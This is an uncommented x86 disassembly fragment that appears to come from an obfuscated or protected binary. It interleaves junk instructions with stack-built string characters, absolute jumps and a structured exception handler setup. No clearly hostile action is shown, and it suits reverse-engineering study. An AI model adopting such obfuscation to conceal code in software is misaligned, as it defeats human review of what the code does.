mov word [ebp - 0x1d9a], dx
btr edx, ecx
mov eax, 0x31
btc cx, ax
test ebp, ebp
bts ecx, eax
mov word [ebp - 0x1d98], ax
shr edx, cl
cmovae dx, di
adc eax, 0xb8e260f
mov ecx, 0x30
sbb ax, di
mov word [ebp - 0x1d96], cx
mov edx, 0x2e
dec ax
mov word [ebp - 0x1d94], dx
mov eax, ecx
cmp esp, esp
mov word [ebp - 0x1d92], ax
xadd ax, ax
cmp ebp, esp
mov word [ebp - 0x1d90], cx
shld ax, di, 4
xor edx, edx
mov word [ebp - 0x1d8e], dx
nop
movzx ax, al
cwde
push 0x16c
jmp 0x5628c6
mov dword [esi], 0
jmp 0x6c2364
push ebp
mov ebp, esp
btr eax, edi
shl ah, 0x5c
bswap eax
push 0xfffffffffffffffe
shrd eax, ebp, 0x2f
push 0x6416d4
adc eax, 0x7686b7f
push 0x460fc0
shl ax, cl
mov eax, dword fs:[0]
push eax
shrd ax, sp, 0xcd
btc ax, 0x3e
xor ah, 0xe8
sub esp, 8
movsx eax, sp
xchg ah, al
mov eax, 0x1e50
jmp 0x55af30
ret